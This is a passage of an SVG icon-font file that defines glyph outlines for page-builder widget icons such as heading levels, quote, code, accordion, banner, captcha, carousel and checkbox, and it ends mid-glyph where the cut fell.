<glyph glyph-name="editor-h3" unicode="&#xe80c;" d="M631 142c-10 0-24 0-43 1-20 1-34 1-44 1-9 0-24 0-43-1-19-1-33-1-43-1-5 0-9 2-12 6-3 5-4 10-4 15 0 7 2 12 6 15 3 4 7 5 12 6 5 0 10 1 17 2 6 1 11 3 14 5 7 4 11 19 11 45l0 127c0 5 0 8-1 10-3 1-8 2-16 2h-219c-8 0-14-1-17-2 0-2 0-5 0-10l-1-120c0-31 5-49 12-54 4-2 9-4 16-4 7-1 14-1 19-1 5 0 10-2 15-5 4-4 6-8 6-15 0-6-1-11-4-16-3-5-7-7-12-7-10 0-25 0-45 1-20 1-35 1-45 1-10 0-24 0-42-1-18-1-32-1-41-1-5 0-9 2-12 7-3 4-4 9-4 14 0 7 2 11 5 15 3 3 7 5 12 6 4 0 9 1 15 2 6 1 10 3 14 5 7 5 11 20 11 47l-1 18v265c0 1 0 4 0 9 0 5 0 9 0 12 0 3 0 7 0 12-1 6-1 10-2 14 0 4-1 8-2 12 0 4-2 8-3 11-2 2-4 4-5 5-4 3-9 4-15 4-7 1-12 1-17 1-5 0-10 2-13 5-4 3-6 8-6 14 0 6 1 11 4 16 2 5 6 7 11 7 10 0 25 0 45-1 20-1 35-1 45-1 9 0 23 0 41 1 19 1 33 1 42 1 5 0 9-2 12-7 3-5 4-10 4-16 0-6-2-11-5-14-4-3-8-5-13-5-5 0-10 0-16-1-6-1-11-2-14-4-8-5-12-22-12-52l1-104c0-5 0-8 0-11 3 0 7 0 13 0h227c6 0 10 0 13 0 0 3 0 6 0 11l1 104c0 30-4 47-12 52-3 3-10 4-19 4s-16 2-22 4c-5 3-8 8-8 17 0 5 1 10 4 15 3 5 7 8 12 8 10 0 24-1 43-2 19-1 34-1 43-1 9 0 24 0 42 1 19 1 33 2 42 2 6 0 10-3 12-8 3-4 5-10 5-15 0-7-2-12-6-15-4-2-9-4-13-4-5 0-11-1-17-1-6 0-11-2-14-4-7-5-11-23-11-53l0-307c0-26 4-41 11-45 4-2 9-4 15-5 7-1 13-1 18-1 5-1 10-2 13-5 4-4 6-8 6-15 0-6-1-11-4-16-3-5-7-7-12-7z m53 61c0 5 1 10 3 15 1 5 4 9 7 12 3 3 6 6 11 8 4 2 9 3 14 3 6 0 11-1 15-3 4-2 7-5 9-8s5-7 6-10c1-4 1-8 1-11 0-3 0-7-1-11-1-5-4-9-6-12 2-3 4-6 7-8 3-3 7-5 11-7 4-1 8-3 13-3 4-1 9-2 14-2 10 0 20 2 27 5 8 4 15 8 20 14 5 6 9 13 12 21s4 17 4 26c0 9-1 18-3 26-2 9-6 17-12 24-6 7-13 12-23 16-10 5-21 7-36 7-1 0-3 0-5 0-2 0-4 0-7 0-3 0-5-1-8-1-2 0-4 0-6 0v36c2-1 4-1 5-1 1 0 2 0 4 0 24 0 43 5 56 16 13 12 20 28 20 49 0 9-1 16-3 23-1 7-4 13-8 18-4 5-9 8-15 11s-12 4-21 4c-4 0-9 0-13-1s-8-3-11-5-6-4-9-6c-3-3-5-5-6-8 3-4 5-8 6-13 1-4 2-9 2-12 0-3-1-7-2-10s-3-7-6-10c-2-4-6-6-10-9-5-2-10-3-16-3-6 0-10 1-14 3s-7 5-10 8c-2 4-5 7-6 12-1 4-2 9-2 14 0 7 2 15 6 24 5 9 11 17 20 25 9 8 20 14 33 19 13 5 28 8 46 8 15 0 30-1 43-4 14-3 26-9 36-16s18-16 24-27c5-11 8-25 8-41 0-7-1-14-4-22-2-8-7-16-13-23-6-8-13-14-23-20s-21-11-35-14v-1c16-3 30-7 42-13 11-6 21-13 29-21 7-9 13-18 17-27 4-10 5-20 5-31 0-17-3-32-10-46s-16-24-28-33c-12-9-25-16-42-20s-34-7-54-7c-19 0-35 2-49 6s-25 10-33 17-16 15-20 24c-4 9-6 18-6 26z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h4" unicode="&#xe80d;" d="M631 142c-10 0-24 0-43 1s-34 1-44 1c-9 0-24 0-43-1s-33-1-43-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 12 6 15s7 5 12 6 10 1 17 2 11 3 14 5c7 4 11 19 11 45l0 127c0 5 0 8-1 10-3 1-8 2-16 2h-219c-8 0-14-1-17-2 0-2 0-5 0-10l-1-120c0-31 5-49 12-54 4-2 9-4 16-4s14-1 19-1 10-2 15-5 6-8 6-15c0-6-1-11-4-16s-7-6-12-6c-10 0-25 0-45 1s-35 1-45 1c-10 0-24 0-42-1s-32-1-41-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 11 5 15s7 5 12 5 9 2 15 3 10 3 14 5c7 5 11 20 11 47l-1 18v264c0 1 0 4 0 9s0 9 0 12 0 7 0 12-1 10-2 14-1 8-2 12-2 8-3 11-4 4-5 5c-4 3-9 4-15 4s-12 1-17 1-10 2-13 5-6 8-6 14c0 6 1 11 4 16s6 7 11 7c10 0 25 0 45-1s35-1 45-1c9 0 23 0 41 1s33 1 42 1c5 0 9-3 12-7s4-10 4-16c0-7-2-11-5-14s-8-5-13-5-10-1-16-1-11-2-14-4c-8-5-12-22-12-52l1-105c0-4 0-8 0-10 3-1 7-1 13-1h227c6 0 10 1 13 1 0 2 0 6 0 10l1 105c0 30-4 47-12 52-3 2-10 3-19 4s-16 1-22 4-8 8-8 16c0 6 1 11 4 16s7 7 12 7c10 0 24 0 43-1s34-1 43-1c9 0 24 0 42 1s33 1 42 1c6 0 10-2 12-7s5-10 5-16c0-6-2-11-6-14s-9-5-13-5-11 0-17 0-11-2-14-5c-7-5-11-22-11-52l0-307c0-26 4-41 11-46 4-2 9-3 15-4s13-1 18-2 10-2 13-5 6-8 6-14c0-6-1-11-4-16s-7-7-12-7z m244 90v-8c0-5 0-9 0-14s0-8-1-12 0-8 0-11-1-6-1-8l37 2v-39h-142v33c5 0 10 1 15 2s8 2 11 5 5 7 7 13 2 14 2 24v14h-130v46l172 221h30v-222h49v-46h-49z m-156 47h84v110l-84-110z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h5" unicode="&#xe80e;" d="M631 142c-10 0-24 0-43 1s-34 1-44 1c-9 0-24 0-43-1s-33-1-43-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 12 6 15s7 5 12 6 10 1 17 2 11 3 14 5c7 4 11 19 11 45l0 127c0 5 0 8-1 10-3 1-8 2-16 2h-219c-8 0-14-1-17-2 0-2 0-5 0-10l-1-120c0-31 5-49 12-54 4-2 9-4 16-4s14-1 19-1 10-2 15-5 6-8 6-15c0-6-1-11-4-16s-7-6-12-6c-10 0-25 0-45 1s-35 1-45 1c-10 0-24 0-42-1s-32-1-41-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 11 5 15s7 5 12 5 9 2 15 3 10 3 14 5c7 5 11 20 11 47l-1 18v264c0 1 0 4 0 9s0 9 0 12 0 7 0 12-1 10-2 14-1 8-2 12-2 8-3 11-4 4-5 5c-4 3-9 4-15 4s-12 1-17 1-10 2-13 5-6 8-6 14c0 6 1 11 4 16s6 7 11 7c10 0 25 0 45-1s35-1 45-1c9 0 23 0 41 1s33 1 42 1c5 0 9-3 12-7s4-10 4-16c0-7-2-11-5-14s-8-5-13-5-10-1-16-1-11-2-14-4c-8-5-12-22-12-52l1-105c0-4 0-8 0-10 3-1 7-1 13-1h227c6 0 10 1 13 1 0 2 0 6 0 10l1 105c0 30-4 47-12 52-3 2-10 3-19 4s-16 1-22 4-8 8-8 16c0 6 1 11 4 16s7 7 12 7c10 0 24 0 43-1s34-1 43-1c9 0 24 0 42 1s33 1 42 1c6 0 10-2 12-7s5-10 5-16c0-6-2-11-6-14s-9-5-13-5-11 0-17 0-11-2-14-5c-7-5-11-22-11-52l0-307c0-26 4-41 11-46 4-2 9-3 15-4s13-1 18-2 10-2 13-5 6-8 6-14c0-6-1-11-4-16s-7-7-12-7z m118 46c1-3 4-6 6-8s7-4 10-6 8-3 12-4 8-1 11-1c10 0 19 2 26 6s12 10 17 17 7 14 9 22 3 17 3 26c0 5 0 11 0 17s-1 12-3 18c-1 7-3 13-5 19s-7 12-11 16-10 9-16 12-15 5-25 5c-7 0-16-2-26-4s-22-8-34-15l-21 17-2 167h130c6 0 11 0 15 1s9 2 13 5 5 5 7 10 3 10 3 16h31l-4-81-157-3v-89c4 2 8 4 13 5s10 3 16 4 11 2 16 2 11 1 16 1c21 0 39-3 54-9s27-14 37-25 18-22 23-36 7-28 7-42c0-19-3-36-10-51s-17-27-30-37-25-17-41-22-31-7-47-7c-17 0-32 2-44 6s-24 10-33 16-15 14-20 22-7 16-7 24c0 5 1 10 3 15s4 8 7 12 7 6 11 9 9 3 14 3c6 0 11-1 15-3s7-5 10-8 4-7 5-11 2-7 2-11c0-3 0-6-1-10s-3-7-5-10z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h6" unicode="&#xe80f;" d="M631 142c-10 0-24 0-43 1s-34 1-44 1c-9 0-24 0-43-1s-33-1-43-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 12 6 15s7 5 12 6 10 1 17 2 11 3 14 5c7 4 11 19 11 45l0 127c0 5 0 8-1 10-3 1-8 2-16 2h-219c-8 0-14-1-17-2 0-2 0-5 0-10l-1-120c0-31 5-49 12-54 4-2 9-4 16-4s14-1 19-1 10-2 15-5 6-8 6-15c0-6-1-11-4-16s-7-6-12-6c-10 0-25 0-45 1s-35 1-45 1c-10 0-24 0-42-1s-32-1-41-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 11 5 15s7 5 12 5 9 2 15 3 10 3 14 5c7 5 11 20 11 47l-1 18v264c0 1 0 4 0 9s0 9 0 12 0 7 0 12-1 10-2 14-1 8-2 12-2 8-3 11-4 4-5 5c-4 3-9 4-15 4s-12 1-17 1-10 2-13 5-6 8-6 14c0 6 1 11 4 16s6 7 11 7c10 0 25 0 45-1s35-1 45-1c9 0 23 0 41 1s33 1 42 1c5 0 9-3 12-7s4-10 4-16c0-7-2-11-5-14s-8-5-13-5-10-1-16-1-11-2-14-4c-8-5-12-22-12-52l1-105c0-4 0-8 0-10 3-1 7-1 13-1h227c6 0 10 1 13 1 0 2 0 6 0 10l1 105c0 30-4 47-12 52-3 2-10 3-19 4s-16 1-22 4-8 8-8 16c0 6 1 11 4 16s7 7 12 7c10 0 24 0 43-1s34-1 43-1c9 0 24 0 42 1s33 1 42 1c6 0 10-2 12-7s5-10 5-16c0-6-2-11-6-14s-9-5-13-5-11 0-17 0-11-2-14-5c-7-5-11-22-11-52l0-307c0-26 4-41 11-46 4-2 9-3 15-4s13-1 18-2 10-2 13-5 6-8 6-14c0-6-1-11-4-16s-7-7-12-7z m164 183c-5 0-10-1-15-3-5-2-10-4-14-7-5-3-8-7-12-10-3-5-6-9-8-13 0-8 0-17 1-26s1-18 3-27 4-18 6-26 6-16 10-23c4-7 8-12 13-16 5-4 11-6 18-6 8 0 16 2 21 6 6 4 11 9 14 16 3 6 6 13 7 21s2 17 2 25c0 5 0 11 0 17s-1 13-2 20-3 12-5 19c-2 6-4 11-8 16s-7 9-12 12c-6 3-11 5-19 5z m106 108c0-5-1-9-2-13s-3-9-6-12c-3-3-6-6-10-8-4-2-8-3-14-3-6 0-11 1-16 3-4 2-7 5-10 8-3 3-5 7-5 10s-2 7-2 11c0 3 0 6 2 10s2 8 5 11c-3 4-7 8-12 10-5 3-12 5-19 5-9 0-16-2-23-6-6-4-12-9-17-15-5-6-9-14-12-23-4-8-7-17-9-27s-3-19-4-29-2-20-2-29c3 4 7 7 11 10 5 4 11 7 17 9 6 3 13 5 20 7 6 2 13 3 20 3 17 0 32-3 45-9s24-14 32-24c8-10 15-22 19-37 4-14 6-29 6-46 0-16-3-31-10-44-6-15-14-27-25-37s-24-19-39-25-31-9-49-9c-22 0-41 4-56 11s-28 20-37 34-16 33-21 54c-4 20-6 44-6 70 0 9 1 21 3 34s4 28 8 42c3 15 9 29 15 44 7 14 15 27 25 38s23 21 37 28 30 11 49 11c16 0 30-2 41-7s21-9 28-15c8-7 13-14 17-22 5-8 6-16 6-23z" horiz-adv-x="1000" />

<glyph glyph-name="editor-quote" unicode="&#xe810;" d="M482 584v-213c0-21-4-41-12-60-8-19-19-36-33-50-14-13-30-25-49-33-20-8-40-12-60-12h-20c-5 0-9 2-13 6s-6 8-6 14v39c0 5 2 9 6 13 3 4 8 6 13 6h20c21 0 39 8 54 23 15 15 23 33 23 54v10c0 8-3 15-9 20-6 6-12 9-20 9h-68c-16 0-30 5-41 17-12 11-17 25-17 41v116c0 16 5 30 17 41 11 11 25 17 41 17h116c16 0 30-6 41-17 12-12 17-25 17-41z m271 0v-213c0-21-4-41-12-60-8-19-19-36-33-50-14-13-30-25-50-33-19-8-39-12-60-12h-19c-5 0-9 2-14 6s-5 8-5 14v39c0 5 2 9 5 13 4 4 9 6 14 6h19c22 0 40 8 55 23 15 15 22 33 22 54v10c0 8-2 15-8 20s-12 9-20 9h-68c-16 0-30 5-41 17-11 11-17 25-17 41v116c0 16 6 30 17 41s25 17 41 17h116c17 0 30-6 42-17 11-12 16-25 16-41z" horiz-adv-x="1000" />

<glyph glyph-name="editor-code" unicode="&#xe811;" d="M770 139c-8 0-17 3-24 9-13 13-14 35-1 49l141 149-139 137c-13 14-14 35 0 49 13 13 35 14 48 1l163-162c14-13 14-35 1-48l-164-173c-7-8-16-11-25-11z m-356-126l274 615c8 17 0 37-18 45-17 8-37 0-45-18l-274-614c-8-18 0-38 18-46 4-2 9-3 14-3 13 0 25 8 31 21z m-143 135c14 13 14 35 2 49l-142 148 139 138c14 14 14 35 1 49-13 13-35 14-49 1l-163-162c-13-13-14-35-1-48l165-173c7-7 16-11 25-11 8 0 17 3 23 9z" horiz-adv-x="1000" />

<glyph glyph-name="elementor" unicode="&#xe812;" d="M0 850h200v-1000h-200v1000z m400-800h600v-200h-600v200z m0 400h600v-200h-600v200z m0 400h600v-200h-600v200z" horiz-adv-x="1000" />

<glyph glyph-name="elementor-circle" unicode="&#xe813;" d="M500 850c-276 0-500-224-500-500s224-500 500-500 500 224 500 500-224 500-500 500z m-125-708h-83v416h83z m333 0h-250v83h250z m0 166h-250v84h250z m0 167h-250v83h250z" horiz-adv-x="1000" />

<glyph glyph-name="pojome" unicode="&#xe814;" d="M500-150a474 474 0 0 0-188 37l-12 6v272l32-22a407 407 0 0 1 80-44 292 292 0 0 1 191 6 286 286 0 0 1 87 59 299 299 0 0 1 58 83 292 292 0 0 1 19 105 284 284 0 0 1-19 103 298 298 0 0 1-58 83 229 229 0 0 1-87 58h0a210 210 0 0 1-103 21 214 214 0 0 1-103-20 231 231 0 0 1-87-58 256 256 0 0 1-54-83 251 251 0 0 1-22-103v-429l-34 26a559 559 0 0 0-53 46 484 484 0 0 0-147 354 487 487 0 0 0 147 356 489 489 0 0 0 353 144 488 488 0 0 0 353-144 487 487 0 0 0 147-356 484 484 0 0 0-147-353 484 484 0 0 0-353-147z m-159 71a435 435 0 0 1 159-29 443 443 0 0 1 324 134 444 444 0 0 1 134 324 447 447 0 0 1-134 327 448 448 0 0 1-324 130 448 448 0 0 1-324-130 447 447 0 0 1-134-327 444 444 0 0 1 135-324l15-15v342a292 292 0 0 0 25 119 295 295 0 0 0 66 95 268 268 0 0 0 100 68 252 252 0 0 0 117 23 251 251 0 0 0 118-22 270 270 0 0 0 99-69 340 340 0 0 0 67-95 325 325 0 0 0 23-119 333 333 0 0 0-23-122 341 341 0 0 0-67-98 328 328 0 0 0-99-68 330 330 0 0 0-221-7 462 462 0 0 0-56 31v-167z m159 232a222 222 0 0 0-76 13 214 214 0 0 0-64 43 287 287 0 0 0-44 62 194 194 0 0 0-17 82 187 187 0 0 0 17 77 210 210 0 0 0 106 106 223 223 0 0 0 154 0 215 215 0 0 0 64-43 159 159 0 0 0 44-65 184 184 0 0 0 16-76 194 194 0 0 0-17-80 190 190 0 0 0-44-63 212 212 0 0 0-63-44 222 222 0 0 0-76-12z m0 356a180 180 0 0 1-62-11 168 168 0 0 1-84-87 145 145 0 0 1-13-60 152 152 0 0 1 13-63 243 243 0 0 1 36-52 171 171 0 0 1 50-34 188 188 0 0 1 122 0 170 170 0 0 1 49 34 151 151 0 0 1 35 50 154 154 0 0 1 13 64 145 145 0 0 1-13 60 119 119 0 0 1-34 50 174 174 0 0 1-52 36 180 180 0 0 1-60 13z" horiz-adv-x="1000" />

<glyph glyph-name="plus" unicode="&#xe815;" d="M454 704c-12-12-16-25-16-41v-246h-250c-42 0-63-21-63-63s21-62 63-62h250v-246c0-17 4-33 16-46 13-13 29-17 46-17 17 0 33 4 42 17 12 13 21 25 21 46v246h245c42 0 63 21 63 62s-21 63-63 63h-245v246c0 16-5 29-21 41-13 13-25 17-42 17-17 0-33-4-46-17z" horiz-adv-x="1000" />

<glyph glyph-name="menu-bar" unicode="&#xe816;" d="M104 517h792c33 0 62 29 62 62s-29 63-62 63h-792c-33 0-62-29-62-63s29-62 62-62z m0-250h792c33 0 62 29 62 62s-29 63-62 63h-792c-33 0-62-29-62-63s29-62 62-62z m0-250h792c33 0 62 29 62 62s-29 63-62 63h-792c-33 0-62-29-62-63s29-62 62-62z" horiz-adv-x="1000" />

<glyph glyph-name="apps" unicode="&#xe817;" d="M167 517h166v166h-166v-166z m250-500h166v166h-166v-166z m-250 0h166v166h-166v-166z m0 250h166v166h-166v-166z m250 0h166v166h-166v-166z m250 416v-166h166v166h-166z m-250-166h166v166h-166v-166z m250-250h166v166h-166v-166z m0-250h166v166h-166v-166z" horiz-adv-x="1000" />

<glyph glyph-name="accordion" unicode="&#xe818;" d="M938 600h-875c-35 0-63-28-63-62v-375c0-35 28-63 63-63h875c34 0 62 28 62 63v375c0 34-28 62-62 62z m20-437c0-12-9-21-20-21h-875c-12 0-21 9-21 21v375c0 11 9 20 21 20h875c11 0 20-9 20-20v-375z m-854 520h792c11 0 21 10 21 21s-10 21-21 21h-792c-11 0-21-9-21-21s10-21 21-21z m0 125h792c11 0 21 10 21 21s-10 21-21 21h-792c-11 0-21-9-21-21s10-21 21-21z m792-916h-792c-11 0-21-10-21-21s10-21 21-21h792c11 0 21 9 21 21s-10 21-21 21z m0 125h-792c-11 0-21-10-21-21s10-21 21-21h792c11 0 21 9 21 21s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="alert" unicode="&#xe819;" d="M500 829c-264 0-479-215-479-479s215-479 479-479 479 215 479 479-215 479-479 479z m0-917c-241 0-437 197-437 438s196 438 437 438 438-197 438-438-197-438-438-438z m0 542c-34 0-62-28-62-62v-250c0-35 28-63 62-63s63 28 63 63v250c0 34-28 62-63 62z m21-312c0-12-9-21-21-21s-21 9-21 21v250c0 11 10 21 21 21s21-10 21-21v-250z m-21 479c-34 0-62-28-62-63s28-62 62-62 63 28 63 62-28 63-63 63z m0-83c-11 0-21 9-21 20s10 21 21 21 21-9 21-21-9-20-21-20z" horiz-adv-x="1000" />

<glyph glyph-name="animation-text" unicode="&#xe81a;" d="M165 545c-6 16-33 16-39 0l-125-333c-4-11 2-23 13-27 10-4 22 1 26 12l42 112c1 0 1-1 1-1h125c1 0 1 1 1 1l42-112c4-8 11-14 20-14 2 0 5 1 7 2 11 4 16 16 12 27l-125 333z m-67-195l48 128 48-128h-96z m590 83c34 0 62-28 62-62 0-12 9-21 21-21s21 9 21 21c0 57-47 104-104 104s-105-47-105-104v-83c0-58 47-105 105-105s104 47 104 105c0 11-10 20-21 20s-21-9-21-20c0-35-28-63-62-63s-63 28-63 63v83c0 34 28 62 63 62z m-250 42c-24 0-45-8-63-21v84c0 11-9 20-21 20s-21-9-21-20v-167-21-42-20-84c0-11 10-21 21-21s21 10 21 21v1c18-13 39-22 63-22 57 0 104 47 104 105v83c0 57-47 104-104 104z m62-187c0-35-28-63-62-63s-63 28-63 63v20 42 21c0 34 28 62 63 62s62-28 62-62v-83z m497-239c-1 2-27 41-80 49v210h21c11 0 20 10 20 21s-9 21-20 21h-21v252c53 9 79 48 80 49 6 10 3 23-7 29-9 6-22 3-28-6-1-2-22-32-66-32s-65 30-66 32c-6 9-19 12-28 6-10-6-13-19-7-28 1-2 26-41 80-50v-252h-21c-11 0-21-9-21-21s10-21 21-21h21v-210c-54-8-79-48-80-49-6-10-3-23 6-29 10-6 23-3 29 6 1 2 22 32 66 32s65-30 66-31c4-7 10-10 17-10 4 0 8 1 11 3 10 6 13 19 7 29z" horiz-adv-x="1000" />

<glyph glyph-name="animation" unicode="&#xe81b;" d="M973 365l-208 208c-2 2-4 4-7 5-1 0-2 0-3 0-2 1-3 1-5 1-1 0-2 0-3 0-2-1-3-1-5-1-2-1-5-3-7-5l0 0-208-208c-8-8-8-22 0-30l208-208c1-1 2-1 3-2 1-1 2-2 4-2 3-2 5-2 8-2s5 0 8 2c2 0 4 2 6 4 0 0 1 0 1 0l208 208c8 8 8 22 0 30z m-339-77l95 95v-66l-62-62-33 33z m95-30v-66l-33 33 33 33z m0 250v-66l-125-125-33 33 158 158z m42-316v316l158-158-158-158z m-423 298c-8 8-21 8-29 0l-125-125c-8-8-8-22 0-30l125-125c4-4 9-6 14-6 6 0 11 2 15 6 8 8 8 22 0 30l-110 110 110 110c8 8 8 22 0 30z m57-140l151 152c9 8 9 21 0 29s-21 9-29 0l-167-166c-8-8-8-22 0-30l167-166c4-4 9-6 15-6s10 2 14 6c9 8 9 21 0 29l-151 152z m-265 98c-8 8-22 8-30 0l-83-83c-8-8-8-22 0-30l83-83c4-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29l-69 69 69 69c8 8 8 21 0 29z" horiz-adv-x="1000" />

<glyph glyph-name="banner" unicode="&#xe81c;" d="M999 378c-2 6-7 11-13 13l-113 37 22 105c2 6 1 11-3 16-3 5-7 8-13 9-9 2-220 42-379 42s-370-40-379-42c-5-1-10-4-13-9s-4-10-3-16l22-105-113-37c-6-2-10-7-13-13-2-6-1-12 2-18l59-98-20-138c-1-7 2-15 7-19 4-3 9-5 14-5 2 0 4 0 7 1 1 1 169 62 243 62 6 0 12 3 16 8 4 5 5 11 4 18l-16 62c54 8 118 16 183 16 65 0 129-8 183-16l-16-63c-1-6 0-12 4-17s10-8 17-8c73 0 241-61 242-62 3-1 5-1 8-1 4 0 9 2 13 5 5 4 8 12 7 19l-20 138 59 98c3 6 4 12 2 18z m-713-175c-62-7-151-35-198-51l16 112c1 5 0 9-3 14l-49 81 84 28 31-145c1-6 5-11 10-14 3-2 7-3 11-3 1 0 3 0 5 1 1 0 33 9 83 18l10-41z m214 105c-125 0-248-25-297-37l-53 250c58 10 223 37 350 37 127 0 292-27 350-37l-53-250c-49 12-172 37-297 37z m399-31c-3-4-4-8-3-13l16-112c-47 16-136 44-198 51l10 41c50-9 82-18 83-18 6-2 12-1 16 2 5 3 9 8 10 14l31 145 84-28-49-82z" horiz-adv-x="1000" />

<glyph glyph-name="blockquote" unicode="&#xe81d;" d="M396 683h-292c-34 0-62-28-62-62v-292c0-34 28-62 62-62h104v-69c0-40-22-75-57-93l-98-49c-8-4-13-14-11-23 2-10 11-16 21-16h141c99 0 186 63 217 156 25 74 37 150 37 228v220c0 34-28 62-62 62z m21-282c0-73-12-145-35-214-26-77-97-129-178-129h-53l18 10c50 25 81 75 81 130v90c0 11-9 20-21 20h-125c-11 0-21 10-21 21v292c0 11 10 21 21 21h292c11 0 21-10 21-21 0 0 0-220 0-220z m479 282h-292c-34 0-62-28-62-62v-292c0-34 28-62 62-62h104v-69c0-40-22-75-57-93l-98-49c-8-4-13-14-11-23 2-10 11-16 21-16h141c99 0 186 63 217 156 25 74 37 150 37 228v220c0 34-28 62-62 62z m21-282c0-73-12-145-35-214-26-77-97-129-178-129h-53l18 10c50 25 81 75 81 130v90c0 11-9 20-21 20h-125c-11 0-21 10-21 21v292c0 11 10 21 21 21h292c11 0 21-10 21-21v-220z" horiz-adv-x="1000" />

<glyph glyph-name="button" unicode="&#xe81e;" d="M451 470c-6 5-15 7-22 3-8-3-12-11-12-19v-375c0-8 5-16 13-19 7-3 16-1 22 4l63 63 71-141c2-5 7-9 12-10 2-1 4-1 6-1 4 0 8 1 11 3l93 54c5 3 8 8 10 13 1 6 0 11-3 16l-74 122h88c9 0 17 6 20 14 3 8 0 17-6 23l-292 250z m153-245c-7 0-14-4-18-11-4-6-4-14 0-21l83-135-56-33-73 147c-3 6-9 10-16 11-1 0-2 0-3 0-6 0-11-2-15-6l-48-47v279l215-184c0 0-69 0-69 0z m292 500h-792c-57 0-104-47-104-104v-250c0-58 47-104 104-104h250c12 0 21 9 21 21s-9 20-21 20h-250c-34 0-62 28-62 63v250c0 34 28 62 62 62h792c34 0 62-28 62-62v-250c0-35-28-63-62-63h-146c-11 0-21-9-21-20s10-21 21-21h146c57 0 104 46 104 104v250c0 57-47 104-104 104z" horiz-adv-x="1000" />

<glyph glyph-name="call-to-action" unicode="&#xe81f;" d="M938 621h-875c-35 0-63-28-63-63v-416c0-35 28-63 63-63h875c34 0 62 28 62 63v416c0 35-28 63-62 63z m20-479c0-12-9-21-20-21h-875c-12 0-21 9-21 21v416c0 12 9 21 21 21h875c11 0 20-9 20-21v-416z m-229 354c-80 0-146-66-146-146s66-146 146-146 146 66 146 146-65 146-146 146z m0-250c-57 0-104 47-104 104s47 104 104 104 104-47 104-104-46-104-104-104z m-250 0h-333c-12 0-21-9-21-21s9-21 21-21h333c12 0 21 10 21 21s-9 21-21 21z m0 125h-333c-12 0-21-9-21-21s9-21 21-21h333c12 0 21 10 21 21s-9 21-21 21z m0 125h-333c-12 0-21-9-21-21s9-21 21-21h333c12 0 21 10 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="captcha" unicode="&#xe820;" d="M104 246c-11 0-21-9-21-21s-9-21-20-21-21 10-21 21v83c0 12 9 21 21 21s20-9 20-21 10-20 21-20 21 9 21 20c0 35-28 63-62 63s-63-28-63-63v-83c0-34 28-62 63-62s62 28 62 62c0 12-9 21-21 21z m417 104c11 0 21-9 21-21s9-21 21-21 20 10 20 21c0 35-28 63-62 63s-63-28-63-63v-83c0-35 28-63 63-63s62 28 62 63c0 11-9 21-20 21s-21-10-21-21-10-21-21-21-21 9-21 21v83c0 12 9 21 21 21z m478-159l-63 166c-6 17-33 17-39 0l-62-166c-4-11 1-23 12-27 11-4 23 1 27 12l10 28h65l11-28c3-8 11-13 19-13 3 0 5 0 8 1 10 4 16 16 12 27z m-99 55l17 45 17-45h-34z m-672 28c-6 16-33 16-39 0l-63-167c-4-10 2-22 13-26 10-4 22 1 26 12l11 28h65l10-28c4-9 11-14 20-14 2 0 5 1 7 2 11 4 16 16 12 26l-62 167z m-36-111l16 44 17-44h-33z m162 291h-41c-12 0-21-9-21-21v-166c0-12 9-21 21-21s20 9 20 21v62h21c35 0 63 28 63 63s-28 62-63 62z m0-83h-21v42h21c12 0 21-10 21-21s-9-21-21-21z m417-83c-12 0-21-10-21-21v-63h-83v63c0 11-10 21-21 21s-21-10-21-21v-167c0-11 9-21 21-21s21 10 21 21v63h83v-63c0-11 9-21 21-21s21 10 21 21v167c0 11-10 21-21 21z m-313 145c0-11 10-20 21-20s21 9 21 20v146h42c11 0 21 10 21 21s-10 21-21 21h-125c-12 0-21-9-21-21s9-21 21-21h41v-146z" horiz-adv-x="1000" />

<glyph glyph-name="carousel" unicode="&#xe821;" d="M98 406c-8 9-21 9-29 0l-42-41c-8-8-8-22 0-30l42-41c4-4 9-6 14-6s11 2 15 6c8 8 8 21 0 29l-27 27 27 27c8 8 8 21 0 29z m875-41l-42 41c-8 9-21 9-29 0s-8-21 0-29l27-27-27-27c-8-8-8-21 0-29 4-4 9-6 15-6s10 2 14 6l42 41c8 8 8 22 0 30z m-640 68h-166c-12 0-21-9-21-20v-125c0-12 9-21 21-21h166c12 0 21 9 21 21v125c0 11-9 20-21 20z m-20-125h-125v84h125v-84z m270 125h-166c-12 0-21-9-21-20v-125c0-12 9-21 21-21h166c12 0 21 9 21 21v125c0 11-9 20-21 20z m-20-125h-125v84h125v-84z m270 125h-166c-12 0-21-9-21-20v-125c0-12 9-21 21-21h166c12 0 21 9 21 21v125c0 11-9 20-21 20z m-20-125h-125v84h125v-84z" horiz-adv-x="1000" />

<glyph glyph-name="checkbox" unicode="&#xe822;" d="M229 142h-166c-35 0-63-28-63-63v-167c0-34 28-62 63-62h166c35 0 63 28 63 62v167c0 35-28 63-63 63z m21-230c0-11-9-20-21-20h-166c-12 0-21 9-21 20v167c0 12 9 21 21 21h166c12 0 21-9 21-21v-167z m146 730h583c12 0 21 9 21 21s-9 20-21 20h-583c-12 0-21-9-21-20s9-21 21-21z m583-292h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z m0-333h-583c-12 0-21-10-21-21s9-21 21-21h583c12 0 21 9 21 21s-9 21-21 21z m-684 824l-30-44c-10 7-23 11-36 11h-166c-35 0-63-28-63-62v-167c0-34 28-62 63-62h166c35 0 63 28 63 62v167c0 5-1 10-2 14l40 57c6 10 4 23-6 29-9 7-22 5-29-5z m-45-262c0-11-9-21-21-21h-166c-12 0-21 10-21 21v167c0 11 9 21 21 21h166c5 0 8-2 12-4l-77-110-45 45c-8 8-21 8-30 0s-8-21 0-29l63-63c4-4 9-6 15-6 0 0 1 0 2 0 6 1 11 4 15 9l66 95v-125z m45-71l-30-44c-10 7-23 11-36 11h-166c-35 0-63-28-63-62v-167c0-35 28-63 63-63h166c35 0 63 28 63 63v167c0 5-1 9-2 14l40 57c6 9 4 22-6 29-9 7-22 4-29-5z m-45-262c0-12-9-21-21-21h-166c-12 0-21 9-21 21v167c0 11 9 20 21 20h166c5 0 8-1 12-3l-77-110-45 45c-8 8-21 8-30 0s-8-22 0-30l63-62c4-4 9-6 15-6 0 0 1 0 2 0 6 0 11 4 15 9l66 94v-124z" 